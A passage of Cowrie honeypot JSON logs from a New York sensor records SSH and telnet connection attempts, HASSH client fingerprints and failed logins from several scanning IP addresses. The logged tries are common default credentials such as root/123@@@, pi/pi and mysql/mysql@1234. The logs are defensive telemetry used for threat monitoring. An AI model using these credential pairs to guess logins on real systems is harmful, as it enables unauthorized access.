0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:44.769461Z","src_ip":"192.109.200.78","session":"52f1adb2ff50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:45.011593Z","src_ip":"192.109.200.78","session":"52f1adb2ff50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:46.094674Z","src_ip":"192.109.200.78","session":"52f1adb2ff50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52090,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9ebe54c5b19","protocol":"ssh","message":"New connection: 192.109.200.78:52090 (10.17.0.5:22) [session: f9ebe54c5b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:48.057542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:48.061198Z","src_ip":"192.109.200.78","session":"f9ebe54c5b19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:48.142102Z","src_ip":"192.109.200.78","session":"f9ebe54c5b19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:48.388026Z","src_ip":"192.109.200.78","session":"f9ebe54c5b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:49.472446Z","src_ip":"192.109.200.78","session":"f9ebe54c5b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52106,"dst_ip":"10.17.0.5","dst_port":22,"session":"51c4d8f88291","protocol":"ssh","message":"New connection: 192.109.200.78:52106 (10.17.0.5:22) [session: 51c4d8f88291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:51.407652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:51.412130Z","src_ip":"192.109.200.78","session":"51c4d8f88291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:51.559245Z","src_ip":"192.109.200.78","session":"51c4d8f88291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"password","message":"login attempt [jellyfin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:51.990862Z","src_ip":"192.109.200.78","session":"51c4d8f88291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:53.078147Z","src_ip":"192.109.200.78","session":"51c4d8f88291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":54814,"dst_ip":"159.203.135.109","dst_port":22,"session":"657136172504","protocol":"ssh","message":"New connection: 152.32.171.213:54814 (159.203.135.109:22) [session: 657136172504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:54.190984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:54.195106Z","src_ip":"152.32.171.213","session":"657136172504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:54.412818Z","src_ip":"152.32.171.213","session":"657136172504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43580,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d218ef0f1ce","protocol":"ssh","message":"New connection: 192.109.200.78:43580 (10.17.0.5:22) [session: 6d218ef0f1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:55.161238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:55.165156Z","src_ip":"192.109.200.78","session":"6d218ef0f1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:55.245964Z","src_ip":"192.109.200.78","session":"6d218ef0f1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"1qaz2wsx","message":"login attempt [devops/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:55.320835Z","src_ip":"152.32.171.213","session":"657136172504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:55.489941Z","src_ip":"192.109.200.78","session":"6d218ef0f1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:56.540781Z","src_ip":"152.32.171.213","session":"657136172504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:56.574326Z","src_ip":"192.109.200.78","session":"6d218ef0f1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43594,"dst_ip":"10.17.0.5","dst_port":22,"session":"bab0866e7501","protocol":"ssh","message":"New connection: 192.109.200.78:43594 (10.17.0.5:22) [session: bab0866e7501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:58.656789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:58.660595Z","src_ip":"192.109.200.78","session":"bab0866e7501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:58.740656Z","src_ip":"192.109.200.78","session":"bab0866e7501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:58.983164Z","src_ip":"192.109.200.78","session":"bab0866e7501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:00.067302Z","src_ip":"192.109.200.78","session":"bab0866e7501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39342,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a8ef4ae7456","protocol":"telnet","message":"New connection: 107.6.151.170:39342 (159.203.135.109:23) [session: 1a8ef4ae7456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:01.598572Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41690,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4e04b0882b4","protocol":"ssh","message":"New connection: 192.109.200.78:41690 (10.17.0.5:22) [session: d4e04b0882b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:02.427987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:02.433120Z","src_ip":"192.109.200.78","session":"d4e04b0882b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:02.522922Z","src_ip":"192.109.200.78","session":"d4e04b0882b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:02.783485Z","src_ip":"192.109.200.78","session":"d4e04b0882b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:03.867352Z","src_ip":"192.109.200.78","session":"d4e04b0882b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41700,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cb3f39f29ef","protocol":"ssh","message":"New connection: 192.109.200.78:41700 (10.17.0.5:22) [session: 0cb3f39f29ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:05.841724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:05.848897Z","src_ip":"192.109.200.78","session":"0cb3f39f29ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:05.930772Z","src_ip":"192.109.200.78","session":"0cb3f39f29ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:06.186317Z","src_ip":"192.109.200.78","session":"0cb3f39f29ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57708,"dst_ip":"10.17.0.5","dst_port":22,"session":"649d4f6608f0","protocol":"ssh","message":"New connection: 27.71.230.31:57708 (10.17.0.5:22) [session: 649d4f6608f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:06.363084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:06.382580Z","src_ip":"27.71.230.31","session":"649d4f6608f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:06.670820Z","src_ip":"27.71.230.31","session":"649d4f6608f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:07.271306Z","src_ip":"192.109.200.78","session":"0cb3f39f29ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41710,"dst_ip":"10.17.0.5","dst_port":22,"session":"b651cb41b943","protocol":"ssh","message":"New connection: 192.109.200.78:41710 (10.17.0.5:22) [session: b651cb41b943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:09.138492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:09.144315Z","src_ip":"192.109.200.78","session":"b651cb41b943","protocol":"ssh"}
